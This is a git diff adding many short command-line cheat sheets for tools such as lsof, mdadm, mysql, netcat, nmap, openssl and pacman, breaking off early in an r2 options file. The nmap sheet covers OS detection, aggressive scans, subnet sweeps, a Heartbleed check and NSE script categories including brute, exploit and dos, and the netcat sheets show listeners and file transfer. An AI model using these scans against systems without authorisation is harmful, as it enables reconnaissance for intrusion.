b/lsof @@ -0,0 +1,37 @@ +# List all IPv4 network files +sudo lsof -i4 + +# List all IPv6 network files +sudo lsof -i6 + +# List all open sockets +lsof -i + +# List all listening ports +lsof -Pnl +M -i4 + +# Find which program is using the port 80 +lsof -i TCP:80 + +# List all connections to a specific host +lsof -i@192.168.1.5 + +# List all processes accessing a particular file/directory +lsof + +# List all files open for a particular user +lsof -u + +# List all files/network connections a command is using +lsof -c + +# List all files a process has open +lsof -p + +# List all files open mounted at /mount/point. +# Particularly useful for finding which process(es) are using a +# mounted USB stick or CD/DVD. +lsof +f -- + +# See this primer: http://www.danielmiessler.com/study/lsof/ +# for a number of other useful lsof tips diff --git a/lvm b/lvm new file mode 100644 index 0000000..492be2e --- /dev/null +++ b/lvm @@ -0,0 +1,7 @@ +#Exclusive Activation of a Volume Group in a Cluster +#Link --> https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/7/html/High_Availability_Add-On_Administration/s1-exclusiveactive-HAAA.html +1> vgs --noheadings -o vg_name +2> volume_list = [ "rhel_root", "rhel_home" ] +3> dracut -H -f /boot/initramfs-$(uname -r).img $(uname -r) +4> Reboot the node +5> uname -r to verify the correct initrd image diff --git a/man b/man new file mode 100644 index 0000000..6d95d0b --- /dev/null +++ b/man @@ -0,0 +1,5 @@ +# Convert a man page to pdf +man -t bash | ps2pdf - bash.pdf + +# View the ascii chart +man 7 ascii diff --git a/markdown b/markdown new file mode 100644 index 0000000..7f178e3 --- /dev/null +++ b/markdown @@ -0,0 +1,44 @@ +# headers +h1 header +========= +h2 header +--------- + +# blockquotes +> first level and paragraph +>> second level and first paragraph +> +> first level and second paragraph + +# lists +## unordered - use *, +, or - + * Red + * Green + * Blue + +## ordered + 1. First + 2. Second + 3. Third + +# code - use 4 spaces/1 tab +regular text + code code code +or: +Use the `printf()` function + +# hr's - three or more of the following +*** +--- +___ + +# links +This is [an example](http://example.com "Title") inline link. + +# image +![Alt Text](/path/to/file.png) + +# formatting +*em* _em_ +**strong** __strong__ +~~strikethrough~~ diff --git a/mdadm b/mdadm new file mode 100644 index 0000000..afdd4cf --- /dev/null +++ b/mdadm @@ -0,0 +1,58 @@ +# For the sake of briefness, we use Bash "group compound" stanza: +# /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ... +# Along the following variables: +# ${M} array identifier (/dev/md${M}) +# ${D} device identifier (/dev/sd${D}) +# ${P} partition identifier (/dev/sd${D}${P}) + +# Create (initialize) a new array +mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1 + +# Manually assemble (activate) an existing array +mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} + +# Automatically assemble (activate) all existing arrays +mdadm --assemble --scan + +# Stop an assembled (active) array +mdadm --stop /dev/md${M} + +# See array configuration +mdadm --query /dev/md${M} + +# See array component configuration (dump superblock content) +mdadm --query --examine /dev/sd${D}${P} + +# See detailed array confiration/status +mdadm --detail /dev/md${M} + +# Save existing arrays configuration +# (MAY be required by initrd for successfull boot) +mdadm --detail --scan > /etc/mdadm/mdadm.conf + +# Erase array component superblock +# (MUST do before reusing a partition for other purposes) +mdadm --zero-superblock /dev/sd${D}${P} + +# Manually mark a component as failed +# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART) +mdadm --manage /dev/md${M} --fail /dev/sd${D}${P} + +# Remove a failed component +# (SHOULD before preemptively replacing a device, after failing it) +mdadm --manage /dev/md${M} --remove /dev/sd${D}${P} + +# Prepare (format) a new device to replace a failed one +sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new} + +# Add new component to an existing array +# (this will trigger the rebuild) +mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P} + +# See assembled (active) arrays status +cat /proc/mdstat + +# Rename a device +# (SHOULD after hostname change; eg. name="$(hostname -s)") +mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name + diff --git a/mkdir b/mkdir new file mode 100644 index 0000000..e41d613 --- /dev/null +++ b/mkdir @@ -0,0 +1,9 @@ +# Create a directory and all its parents +mkdir -p foo/bar/baz + +# Create foo/bar and foo/baz directories +mkdir -p foo/{bar,baz} + +# Create the foo/bar, foo/baz, foo/baz/zip and foo/baz/zap directories +mkdir -p foo/{bar,baz/{zip,zap}} + diff --git a/more b/more new file mode 100644 index 0000000..c1ee9d9 --- /dev/null +++ b/more @@ -0,0 +1,3 @@ +# To show the file start at line number 5 +more +5 file + diff --git a/mount b/mount new file mode 100644 index 0000000..66a8e17 --- /dev/null +++ b/mount @@ -0,0 +1,14 @@ +# To mount / partition as read-write in repair mode: +mount -o remount,rw / + +# Bind mount path to a second location +mount --bind /origin/path /destination/path + +# To mount Usb disk as user writable: +mount -o uid=username,gid=usergroup /dev/sdx /mnt/xxx + +# To mount a remote NFS directory +mount -t nfs example.com:/remote/example/dir /local/example/dir + +# To mount an ISO +mount -o loop disk1.iso /mnt/disk diff --git a/mutt b/mutt new file mode 100644 index 0000000..9b8b8a8 --- /dev/null +++ b/mutt @@ -0,0 +1,22 @@ +# Create new mailbox in IMAP + + When located in mailbox list (c) + shift + C + +# Move multiple messages to folder (bulk operations) + + 1. Select/tag them with alt+'t' + 2. ;s in mail inbox overview for bulk operation + +# Deleting / Undeleting all messages in mutt + + 1. In mutt’s index, hit ‘D’ (UPPERCASE D) + 2. It will prompt you with “Delete messages matching: “ + + + enter this string: + + ~A + + 3. It should mark all for deletion! + + + 4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages. diff --git a/mv b/mv new file mode 100644 index 0000000..5a79545 --- /dev/null +++ b/mv @@ -0,0 +1,17 @@ +# Move a file from one place to another +mv ~/Desktop/foo.txt ~/Documents/foo.txt + +# Move a file from one place to another and automatically overwrite if the destination file exists +# (This will override any previous -i or -n args) +mv -f ~/Desktop/foo.txt ~/Documents/foo.txt + +# Move a file from one place to another but ask before overwriting an existing file +# (This will override any previous -f or -n args) +mv -i ~/Desktop/foo.txt ~/Documents/foo.txt + +# Move a file from one place to another but never overwrite anything +# (This will override any previous -f or -i args) +mv -n ~/Desktop/foo.txt ~/Documents/foo.txt + +# Move listed files to a directory +mv -t ~/Desktop/ file1 file2 file3 diff --git a/mysql b/mysql new file mode 100644 index 0000000..3ef2a2c --- /dev/null +++ b/mysql @@ -0,0 +1,37 @@ +# To connect to a database +mysql -h localhost -u root -p + +# To backup all databases +mysqldump --all-databases --all-routines -u root -p > ~/fulldump.sql + +# To restore all databases +mysql -u root -p < ~/fulldump.sql + +# To create a database in utf8 charset +CREATE DATABASE owa CHARACTER SET utf8 COLLATE utf8_general_ci; + +# To add a user and give rights on the given database +GRANT ALL PRIVILEGES ON database.* TO 'user'@'localhost'IDENTIFIED BY 'password' WITH GRANT OPTION; + +# To list the privileges granted to the account that you are using to connect to the server. Any of the 3 statements will work. +SHOW GRANTS FOR CURRENT_USER(); +SHOW GRANTS; +SHOW GRANTS FOR CURRENT_USER; + +# Basic SELECT Statement +SELECT * FROM tbl_name; + +# Basic INSERT Statement +INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2); + +# Basic UPDATE Statement +UPDATE tbl_name SET col1 = "example"; + +# Basic DELETE Statement +DELETE FROM tbl_name WHERE user = 'jcole'; + +# To check stored procedure +SHOW PROCEDURE STATUS; + +# To check stored function +SHOW FUNCTION STATUS; diff --git a/mysqldump b/mysqldump new file mode 100644 index 0000000..61c809c --- /dev/null +++ b/mysqldump @@ -0,0 +1,23 @@ +# To dump a database to a file (Note that your password will appear in your command history!): +mysqldump -uusername -ppassword the-database > db.sql + +# To dump a database to a file: +mysqldump -uusername -p the-database > db.sql + +# To dump a database to a .tgz file (Note that your password will appear in your command history!): +mysqldump -uusername -ppassword the-database | gzip -9 > db.sql + +# To dump a database to a .tgz file: +mysqldump -uusername -p the-database | gzip -9 > db.sql + +# To dump all databases to a file (Note that your password will appear in your command history!): +mysqldump -uusername -ppassword --all-databases > all-databases.sql + +# To dump all databases to a file: +mysqldump -uusername -p --all-databases > all-databases.sql + +# To export the database structure only: +mysqldump --no-data -uusername -p the-database > dump_file + +# To export the database data only: +mysqldump --no-create-info -uusername -p the-database > dump_file diff --git a/nc b/nc new file mode 100644 index 0000000..8dc9b53 --- /dev/null +++ b/nc @@ -0,0 +1,20 @@ +# To open a TCP connection to port 42 of host.example.com, using port 31337 as the source port, with a timeout of 5 seconds: +nc -p 31337 -w 5 host.example.com 42 + +# To open a UDP connection to port 53 of host.example.com: +nc -u host.example.com 53 + +# To open a TCP connection to port 42 of host.example.com using 10.1.2.3 as the IP for the local end of the connection: +nc -s 10.1.2.3 host.example.com 42 + +# To create and listen on a UNIX-domain stream socket: +nc -lU /var/tmp/dsocket + +# To connect to port 42 of host.example.com via an HTTP proxy at 10.2.3.4, port 8080. This example could also be used by ssh(1); see the ProxyCommand directive in ssh_config(5) for more information. +nc -x10.2.3.4:8080 -Xconnect host.example.com 42 + +# The same example again, this time enabling proxy authentication with username "ruser" if the proxy requires it: +nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42 + +# To choose the source IP for the testing using the -s option +nc -zv -s source_IP target_IP Port diff --git a/ncat b/ncat new file mode 100644 index 0000000..cde25ba --- /dev/null +++ b/ncat @@ -0,0 +1,30 @@ +# Connect mode (ncat is client) | default port is 31337 +ncat [] + +# Listen mode (ncat is server) | default port is 31337 +ncat -l [] [] + +# Transfer file (closes after one transfer) +ncat -l [] [] < file + +# Transfer file (stays open for multiple transfers) +ncat -l --keep-open [] [] < file + +# Receive file +ncat [] [] > file + +# Brokering | allows for multiple clients to connect +ncat -l --broker [] [] + +# Listen with SSL | many options, use ncat --help for full list +ncat -l --ssl [] [] + +# Access control +ncat -l --allow +ncat -l --deny + +# Proxying +ncat --proxy [:] --proxy-type {http | socks4} [] + +# Chat server | can use brokering for multi-user chat +ncat -l --chat [] [] diff --git a/ncdu b/ncdu new file mode 100644 index 0000000..13e586c --- /dev/null +++ b/ncdu @@ -0,0 +1,11 @@ +# Save results to file +ncdu -o ncdu.file + +# Read from file +ncdu -f ncdu.file + +# Save results to compressed file +ncdu -o-| gzip > ncdu.file.gz + +# Read from compressed file +zcat ncdu.file.gz | ncdu -f- diff --git a/netstat b/netstat new file mode 100644 index 0000000..e488dcf --- /dev/null +++ b/netstat @@ -0,0 +1,28 @@ +# WARNING ! netstat is deprecated. Look below. + +# To view which users/processes are listening to which ports: +sudo netstat -lnptu + +# To view routing table (use -n flag to disable DNS lookups): +netstat -r + +# Which process is listening to port +netstat -pln | grep | awk '{print $NF}' + +Example output: 1507/python + +# Fast display of ipv4 tcp listening programs +sudo netstat -vtlnp --listening -4 + +# WARNING ! netstat is deprecated. +# Replace it by: +ss + +# For netstat -r +ip route + +# For netstat -i +ip -s link + +# For netstat -g +ip maddr diff --git a/nkf b/nkf new file mode 100644 index 0000000..d40c42d --- /dev/null +++ b/nkf @@ -0,0 +1,29 @@ +# check the file's charactor code +nkf -g test.txt + +# convert charactor code to UTF-8 +nkf -w --overwrite test.txt + +# convert charactor code to EUC-JP +nkf -e --overwrite test.txt + +# convert charactor code to Shift-JIS +nkf -s --overwrite test.txt + +# convert charactor code to ISO-2022-JP +nkf -j --overwrite test.txt + +# convert newline to LF +nkf -Lu --overwrite test.txt + +# convert newline to CRLF +nkf -Lw --overwrite test.txt + +# convert newline to CR +nkf -Lm --overwrite test.txt + +# MIME encode +echo テスト | nkf -WwMQ + +# MIME decode +echo "=E3=83=86=E3=82=B9=E3=83=88" | nkf -WwmQ diff --git a/nmap b/nmap new file mode 100644 index 0000000..0232bf1 --- /dev/null +++ b/nmap @@ -0,0 +1,104 @@ +# Single target scan: +nmap [target] + +# Scan from a list of targets: +nmap -iL [list.txt] + +# iPv6: +nmap -6 [target] + +# OS detection: +nmap -O --osscan_guess [target] + +# Save output to text file: +nmap -oN [output.txt] [target] + +# Save output to xml file: +nmap -oX [output.xml] [target] + +# Scan a specific port: +nmap -source-port [port] [target] + +# Do an aggressive scan: +nmap -A [target] + +# Speedup your scan: +# -n => disable ReverseDNS +# --min-rate=X => min X packets / sec +nmap -T5 --min-parallelism=50 -n --min-rate=300 [target] + +# Traceroute: +nmap -traceroute [target] + +# Ping scan only: -sP +# Don't ping: -PN <- Use full if a host don't reply to a ping. +# TCP SYN ping: -PS +# TCP ACK ping: -PA +# UDP ping: -PU +# ARP ping: -PR + +# Example: Ping scan all machines on a class C network +nmap -sP 192.168.0.0/24 + +# Force TCP scan: -sT +# Force UDP scan: -sU + +# Use some script: +nmap --script default,safe + +# Loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts. +nmap --script default,banner,/home/user/customscripts + +# Loads all scripts whose name starts with http-, such as http-auth and http-open-proxy. +nmap --script 'http-*' + +# Loads every script except for those in the intrusive category. +nmap --script "not intrusive" + +# Loads those scripts that are in both the default and safe categories. +nmap --script "default and safe" + +# Loads scripts in the default, safe, or intrusive categories, except for those whose names start with http-. +nmap --script "(default or safe or intrusive) and not http-*" + +# Scan for the heartbleed +# -pT:443 => Scan only port 443 with TCP (T:) +nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1 + +# Show all informations (debug mode) +nmap -d ... + +## Port Status Information +- Open: This indicates that an application is listening for connections on this port. +- Closed: This indicates that the probes were received but there is no application listening on this port. +- Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering. +- Unfiltered: This indicates that the probes were received but a state could not be established. +- Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state. +- Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state. + +## Additional Scan Types + +nmap -sn: Probe only (host discovery, not port scan) +nmap -sS: SYN Scan +nmap -sT: TCP Connect Scan +nmap -sU: UDP Scan +nmap -sV: Version Scan +nmap -O: Used for OS Detection/fingerprinting +nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order + +### Nmap Scripting Engine Categories +The most common Nmap scripting engine categories: +- auth: Utilize credentials or bypass authentication on target hosts. +- broadcast: Discover hosts not included on command line by broadcasting on local network. +- brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc. +- default: Scripts run automatically when -sC or -A are used. +- discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more. +- dos: May cause denial of service conditions in target hosts. +- exploit: Attempt to exploit target systems. +- external: Interact with third-party systems not included in target list. +- fuzzer: Send unexpected input in network protocol fields. +- intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion. +- malware: Look for signs of malware infection on the target hosts. +- safe: Designed not to impact target in a negative fashion. +- version: Measure the version of software or protocols on the target hosts. +- vul: Measure whether target systems have a known vulnerability. diff --git a/nmcli b/nmcli new file mode 100644 index 0000000..9fd94ce --- /dev/null +++ b/nmcli @@ -0,0 +1,43 @@ +# Desc: Command line interface to NetworkManager + +# Connect to a wireless access point - Parameters: +# -- the name of your wireless interface +# -- the SSID of the access point +# -- the WiFi password +nmcli d wifi connect password iface + +# Disconnect from WiFi - Parameters: +# -- the name of your wireless interface +nmcli d wifi disconnect iface + +# Get WiFi status (enabled / disabled) +nmcli radio wifi + +# Enable / Disable WiFi +nmcli radio wifi + +# Show all available WiFi access points +nmcli dev wifi list + +# Refresh the available WiFi connection list +nmcli dev wifi rescan + +# Show all available connections +nmcli con + +# Show only active connections +nmcli con show --active + +# Review the available devices +nmcli dev status + +# Add a dynamic ethernet connection - parameters: +# -- the name of the connection +# -- the name of the interface +nmcli con add type ethernet con-name ifname + +# Import OpenVPN connection settings from file: +nmcli con import type openvpn file + +# Bring up the ethernet connection +nmcli con up diff --git a/notify-send b/notify-send new file mode 100644 index 0000000..6516064 --- /dev/null +++ b/notify-send @@ -0,0 +1,4 @@ +# To send a desktop notification via dbus: +notify-send -i 'icon-file/name' -a 'application_name' 'summary' 'body of message' + +# The -i and -a flags can be omitted if unneeded. diff --git a/nova b/nova new file mode 100644 index 0000000..94720d8 --- /dev/null +++ b/nova @@ -0,0 +1,20 @@ +# To list VMs on current tenant: +nova list + +# To list VMs of all tenants (admin user only): +nova list --all-tenants + +# To boot a VM on a specific host: +nova boot --nic net-id= \ + --image \ + --flavor \ + --availability-zone nova: + +# To stop a server +nova stop + +# To start a server +nova start + +# To attach a network interface to a specific VM: +nova interface-attach --net-id diff --git a/npm b/npm new file mode 100644 index 0000000..ba85087 --- /dev/null +++ b/npm @@ -0,0 +1,22 @@ +# Every command shown here can be used with the `-g` switch for global scope + +# Install a package in the current directory +npm install + +# Install a package, and save it in the `dependencies` section of `package.json` +npm install --save + +# Install a package, and save it in the `devDependencies` section of `package.json` +npm install --save-dev + +# Show outdated packages in the current directory +npm outdated + +# Update outdated packages +npm update + +# Update `npm` (will override the one shipped with Node.js) +npm install -g npm + +# Uninstall a package +npm uninstall diff --git a/ntp b/ntp new file mode 100644 index 0000000..f578c54 --- /dev/null +++ b/ntp @@ -0,0 +1,33 @@ +# Verify ntpd running: +service ntp status + +# Start ntpd if not running: +service ntp start + +# Display current hardware clock value: +sudo hwclock -r + +# Apply system time to hardware time: +sudo hwclock --systohc + +# Apply hardware time to system time: +sudo hwclock --hctosys + +# Set hwclock to local time: +sudo hwclock --localtime + +# Set hwclock to UTC: +sudo hwclock --utc + +# Set hwclock manually: +sudo hwclock --set --date="8/10/15 13:10:05" + +# Query surrounding stratum time servers +ntpq -pn + +# Config file: +/etc/ntp.conf + +# Driftfile: +location of "drift" of your system clock compared to ntp servers +/var/lib/ntp/ntp.drift diff --git a/numfmt b/numfmt new file mode 100644 index 0000000..0b9bbc4 --- /dev/null +++ b/numfmt @@ -0,0 +1,2 @@ +# Convert bytes to Human readable format +numfmt --to=iec --suffix=B --padding=7 1048576 diff --git a/od b/od new file mode 100644 index 0000000..55fd304 --- /dev/null +++ b/od @@ -0,0 +1,11 @@ +# Dump file in octal format +od /path/to/binaryfile +od -o /path/to/binaryfile +od -t o2 /path/to/binaryfile + +# Dump file in hexadecimal format +od -x /path/to/binaryfile +od -t x2 /path/to/binaryfile + +# Dump file in hexadecimal format, with hexadecimal offsets and a space between each byte +od -A x -t x1 /path/to/binaryfile diff --git a/openssl b/openssl new file mode 100644 index 0000000..3d97e5b --- /dev/null +++ b/openssl @@ -0,0 +1,27 @@ +# To create a 2048-bit private key: +openssl genrsa -out server.key 2048 + +# To create the Certificate Signing Request (CSR): +openssl req -new -key server.key -out server.csr + +# To sign a certificate using a private key and CSR: +openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt + +# (The above commands may be run in sequence to generate a self-signed SSL certificate.) + +# To show certificate information for a certificate signing request +openssl req -text -noout -in server.csr + +# To show certificate information for generated certificate +openssl x509 -text -noout -in server.crt + +# To get the sha256 fingerprint of a certificate +openssl x509 -in server.crt -noout -sha256 -fingerprint + +# To view certificate expiration: +echo | openssl s_client -connect :443 2> /dev/null | \ +awk '/-----BEGIN/,/END CERTIFICATE-----/' | \ +openssl x509 -noout -enddate + +# Generate Diffie-Hellman parameters: +openssl dhparam -outform PEM -out dhparams.pem 2048 diff --git a/org-mode b/org-mode new file mode 100644 index 0000000..785cdb8 --- /dev/null +++ b/org-mode @@ -0,0 +1,46 @@ + Begin org-mode ALT-x org-mode + Save CTRL-x CTRL-s + Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e + +# Outline + + Section heading * + New headline ALT-return + Move headline up or down ALT-up_arrow/down_arrow + Adjust indent depth of headline ALT-left_arrow/right_arrow + Open/collapse section TAB + Open/collapse All CTRL-TAB + +# To-Do Lists + + Mark list item as TODO ** TODO + Cycle through workflow SHIFT-left_arrow/right_arrow + Show only outstanding TODO items CTRL-c CTRL-v + +# Tables + + Table column separator Vertical/pipe character + Reorganize table TAB + Move column ALT-left_arrow/right_arrow + Move row ALT-up_arrow/down_arrow + +# Styles + + *bold* + /italic/ + _underlined_ + =code= + ~verbatim~ + +strike-through+ + +# Heading + + Header -*- mode: org -*- + +# .emacs + + To make org-mode automatically wrap lines: + + (add-hook 'org-mode-hook + '(lambda () + (visual-line-mode 1))) diff --git a/p4 b/p4 new file mode 100644 index 0000000..dc4c2eb --- /dev/null +++ b/p4 @@ -0,0 +1,5 @@ +# Print details related to Client and server configuration +p4 info + +# Open a file and add it to depot +p4 add diff --git a/pacman b/pacman new file mode 100644 index 0000000..9312fe1 --- /dev/null +++ b/pacman @@ -0,0 +1,51 @@ +# All the following command work as well with multiple package names + +# To search for a package +pacman -Ss + +# To update the local package base and upgrade all out of date packages +pacman -Suy + +# To install a package +pacman -S + +# To uninstall a package +pacman -R + +# To uninstall a package and his depedencies, removing all new orphans +pacman -Rcs + +# To get informations about a package +pacman -Si + +# To install a package from builded package file (.tar.xz) +pacman -U + +# To list the commands provided by an installed package +pacman -Ql | sed -n -e 's/.*\/bin\///p' | tail -n +2 + +# To list explicitly installed packages +pacman -Qe + +# To list the top-most recent explicitly installed packages (not in the base groups) +expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20 + +# To list orphan packages (installed as dependencies and not required anymore) +pacman -Qdt + + +# You can't directly install packages from the Arch User Database (AUR) with pacman. +# You need yaourt to perform that. But considering yaourt itself is in the AUR, here is how to build a package from its tarball. +# Installing a package from AUR is a relatively simple process: +# - Retrieve the archive corresponding to your package from AUR website +# - Extract the archive (preferably in a folder for this purpose) +# - Run makepkg in the extracted directory. (makepkg-s allows you to install any dependencies automatically from deposits.) +# - Install the package created using pacman +# Assuming $pkgname contains the package name. +wget "https://aur.archlinux.org/packages/${pkgname::2}/$pkgname/$pkgname.tar.gz" +tar zxvf "$pkgname.tar.gz" +cd "$pkgname" +# Build the package +makepkg -s +# Install +sudo pacman -U diff --git a/paste b/paste new file mode 100644 index 0000000..065f3f2 --- /dev/null +++ b/paste @@ -0,0 +1,15 @@ +# Concat columns from files +paste file1 file2 ... + +# List the files in the current directory in three columns: +ls | paste - - - + +# Combine pairs of lines from a file into single lines: +paste -s -d '\t\n' myfile + +# Number the lines in a file, similar to nl(1): +sed = myfile | paste -s -d '\t\n' - - + +# Create a colon-separated list of directories named bin, +# suitable for use in the PATH environment variable: +find / -name bin -type d | paste -s -d : - \ No newline at end of file diff --git a/patch b/patch new file mode 100644 index 0000000..a3485c6 --- /dev/null +++ b/patch @@ -0,0 +1,13 @@ +# Patch one file +patch version1 < version.patch + +# Reverse a patch +patch -R version1 < version.patch + +# Patch all files in a directory, adding any missing new files +# -p strips leading slashes +$ cd dir +$ patch -p1 -i ../big.patch + +# Patch files in a directory, with one level (/) offset +patch -p1 -r version1/ < version.patch diff --git a/pdftk b/pdftk new file mode 100644 index 0000000..6f1609c --- /dev/null +++ b/pdftk @@ -0,0 +1,9 @@ +# Concatenate all pdf files into one: +pdftk *.pdf cat output all.pdf + +# Concatenate specific pdf files into one: +pdftk 1.pdf 2.pdf 3.pdf cat output 123.pdf + +# Concatenate pages 1 to 5 of first.pdf with page 3 of second.pdf +pdftk A=fist.pdf B=second.pdf cat A1-5 B3 output new.pdf + diff --git a/perl b/perl new file mode 100644 index 0000000..bd7edc7 --- /dev/null +++ b/perl @@ -0,0 +1,8 @@ +# To view the perl version: +perl -v + +# Replace string "\n" to newline +echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;' + +# Replace newline with multiple line to space +cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m" diff --git a/pgrep b/pgrep new file mode 100644 index 0000000..853f758 --- /dev/null +++ b/pgrep @@ -0,0 +1,5 @@ +# Get a list of PIDs matching the pattern +pgrep example + +# Kill all PIDs matching the pattern +pgrep -f example | xargs kill diff --git a/php b/php new file mode 100644 index 0000000..953c4bf --- /dev/null +++ b/php @@ -0,0 +1,23 @@ +# To view the php version: +php -v + +# To view the installed php modules: +php -m + +# To view phpinfo() information: +php -i + +# To lint a php file: +php -l file.php + +# To lint all php files within the cwd: +find . -name "*.php" -print0 | xargs -0 -n1 -P8 php -l + +# To enter an interactive shell: +php -a + +# To locate the system's php.ini files: +php -i | grep "php.ini" + +# To start a local webserver for the cwd on port 3000 (requires php >= 5.4): +php -S localhost:3000 diff --git a/ping b/ping new file mode 100644 index 0000000..a50198b --- /dev/null +++ b/ping @@ -0,0 +1,8 @@ +# ping a host with a total count of 15 packets overall. +ping -c 15 www.example.com + +# ping a host with a total count of 15 packets overall, one every .5 seconds (faster ping). +ping -c 15 -i .5 www.example.com + +# test if a packet size of 1500 bytes is supported (to check the MTU for example) +ping -s 1500 -c 10 -M do www.example.com diff --git a/ping6 b/ping6 new file mode 100644 index 0000000..39e121e --- /dev/null +++ b/ping6 @@ -0,0 +1,2 @@ +# get all ipv6 neighbors via broadcast ping +ping6 -I eth0 ff02::1 diff --git a/pip b/pip new file mode 100644 index 0000000..a4a4dfb --- /dev/null +++ b/pip @@ -0,0 +1,30 @@ +# Search for packages +pip search SomePackage + +# Install some packages +pip install SomePackage + +# Install some package in user space +pip install --user SomePackage + +# Upgrade some package +pip install --upgrade SomePackage + +# Output and install packages in a requirement file +pip freeze > requirements.txt +pip install -r requirements.txt + +# Show details of a package +pip show SomePackage + +# List outdated packages +pip list --outdated + +# Upgrade all outdated packages, thanks to http://stackoverflow.com/a/3452888 +pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U + +# Upgrade outdated packages on latest version of pip +pip list --outdated --format=freeze | cut -d = -f 1 | xargs -n1 pip install -U + +# Install specific version of a package +pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4' diff --git a/pkgtools b/pkgtools new file mode 100644 index 0000000..d130750 --- /dev/null +++ b/pkgtools @@ -0,0 +1,27 @@ +# Create a Slackware package from a structured directory and sub-tree +$ cd /path/to/pkg/dir +$ su - c 'makepkg --linkadd y --chown n $foo-1.0.3-x86_64-1_tag.tgz' + + +# Install a Slackware package +installpkg foo-1.0.3-x86_64-1.tgz + +# Install a Slackware package to non-standard location +ROOT=/path/to/dir installpkg foo-1.0.4-noarch-1.tgz + +# Create backup of files that will be overwritten when installing +tar czvf /tmp/backup.tar.gz $(installpkg --warn foo-1.0.4-noarch-1.tgz) + + +# Upgrade a Slackware package including files only in new version +upgradepkg --install-new foo-1.0.6-noarch-1.tgz + +# Upgrade a Slackware package even if version is the same +upgradepkg --reinstall foo-1.0.4-noarch-1.tgz + + +# Remove a Slackware package +removepkg foo-0.2.8-x86_64-1 + +# Remove a Slackware package, retaining a backup (uninstalled) copy +removepkg -copy foo-0.2.8-x86_64-1 # -> /var/log/setup/tmp/preserved_packages/foo... \ No newline at end of file diff --git a/pkill b/pkill new file mode 100644 index 0000000..f24a03f --- /dev/null +++ b/pkill @@ -0,0 +1,5 @@ +# To kill a process using it's full process name +pkill + +# To kill a process by it's partial name +pkill -f diff --git a/popd b/popd new file mode 100644 index 0000000..a913b2f --- /dev/null +++ b/popd @@ -0,0 +1,2 @@ +# Returns to the directory at the top of the `pushd' stack +popd diff --git a/ps b/ps new file mode 100644 index 0000000..75d6155 --- /dev/null +++ b/ps @@ -0,0 +1,15 @@ +# To list every process on the system: +ps aux + +# To list a process tree +ps axjf + +# To list every process owned by foouser: +ps -aufoouser + +# To list every process with a user-defined format: +ps -eo pid,user,command + +# Exclude grep from your grepped output of ps. +# Add [] to the first letter. Ex: sshd -> [s]shd +ps aux | grep '[h]ttpd' diff --git a/psql b/psql new file mode 100644 index 0000000..fed3a21 --- /dev/null +++ b/psql @@ -0,0 +1,27 @@ +# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5. +# Connection options: +# -U username (if not specified current OS user is used). +# -p port. +# -h server hostname/address. + +# Connect to a specific database: +psql -U postgres -h serverAddress -d dbName + +# Get databases on a server: +psql -U postgres -h serverAddress --list + +# Execute sql query and save output to file: +psql -U postgres -d dbName -c 'select * from tableName;' -o fileName + +# Execute query and get tabular html output: +psql -U postgres -d dbName -H -c 'select * from tableName;' + +# Execute query and save resulting rows to csv file +# (if column names in the first row are not needed, remove the word 'header'): +psql -U postgres -d dbName -c 'copy (select * from tableName) to stdout with csv header;' -o fileName.csv + +# Read commands from file: +psql -f fileName + +# Restore databases from file: +psql -f fileName.backup postgres diff --git a/pushd b/pushd new file mode 100644 index 0000000..5202960 --- /dev/null +++ b/pushd @@ -0,0 +1,5 @@ +# Pushes your current directory to the top of a stack while changing to the specified directory +pushd + +# To return use popd +popd diff --git a/pwd b/pwd new file mode 100644 index 0000000..f672c88 --- /dev/null +++ b/pwd @@ -0,0 +1,2 @@ +# Show the absolute path of your current working directory on the filesystem +pwd diff --git a/python b/python new file mode 100644 index 0000000..d4d14dc --- /dev/null +++ b/python @@ -0,0 +1,16 @@ +# Desc: Python is a high-level programming language. + +# Basic example of server with python +# Will start a Web Server in the current directory on port 8000 +# go to http://127.0.0.1:8000 + +# Python v2.7 +python -m SimpleHTTPServer +# Python 3 +python -m http.server 8000 + +# SMTP-Server for debugging, messages will be discarded, and printed on stdout. +python -m smtpd -n -c DebuggingServer localhost:1025 + +# Pretty print a json +python -mjson.tool diff --git a/r2 b/r2 new file mode 100644 index 0000000..402a916 --- /dev/null +++ b/r2 @@ -0,0 +1,936 @@ +# Command Line options + -L: List of supported IO plugins + + -q: Exit after processing commands + + -w: Write mode enabled + + -i: Interprets a r2 script + + -A: Analize executable at load time (xrefs, etc) + + -n: Bare load. Do not load executable info as the entrypoint + + -c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main') + + -p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project) + + -: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512 + 